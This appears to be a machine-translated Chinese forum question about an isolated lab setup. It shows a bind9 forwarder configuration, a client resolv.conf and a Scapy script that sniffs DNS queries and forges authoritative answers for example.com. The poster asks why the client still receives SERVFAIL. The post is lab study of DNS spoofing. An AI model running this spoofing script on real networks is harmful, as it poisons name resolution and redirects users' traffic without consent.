作为实验的一部分,我在 3 个 Ubuntu 机器上运行创造环境。
称他们为客户端、服务器和攻击者。
客户端连接到服务器。 (分别为 10.1.1.2 和 10.1.1.3)
服务器连接到攻击者。 (分别为10.1.2.3和10.1.2.2)
服务器运行bind9服务器,旨在模拟将任何查询转发给攻击者的递归解析器,该攻击者作为MITM运行。
在服务器中,我已经编辑了命名.conf.选项:
options {
directory "/var/cache/bind";
dump-file "/var/cache/bind/dump.db";
recursion yes;
allow-recursion { any; };
allow-query { any; };
allow-query-cache { any; };
forwarders { 10.1.2.2; };
forward only;
dnssec-validation no;
auth-nxdomain no;
listen-on-v6 { any; };
}
在客户端中,我编辑了解析配置文件:
nameserver 10.1.1.3
nameserver 192.168.252.1
search create.iucc.ac.il
第二个 ns 是创建环境 ns,它没有连接到互联网,只回答“create.iucc.ac.il”的查询。
在攻击者中,我运行以下 scapy 脚本:
from scapy.all import *
def callback(pkt):
if (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
if 'example.com' in str(pkt['DNS Question Record'].qname):
spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1,\
qd=pkt[DNS].qd,an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=1600, rdata="6.6.6.6"))
send(spfResp, verbose=1)
return 'Spoofed DNS Response Sent'
sniff(filter="dst port 53", prn=callback)
它应该返回有关“example.com”的查询的答案。
但是,当我使用
dig example.com
在客户端中,我收到来自 10.1.1.3 的 SERVFAIL。 scapy 脚本确实将响应发送到服务器。客户端收到答案(与脚本预期相同)的唯一一次是当我发送垃圾邮件“dig example.com”命令时。
为什么它不起作用?我的配置正确吗?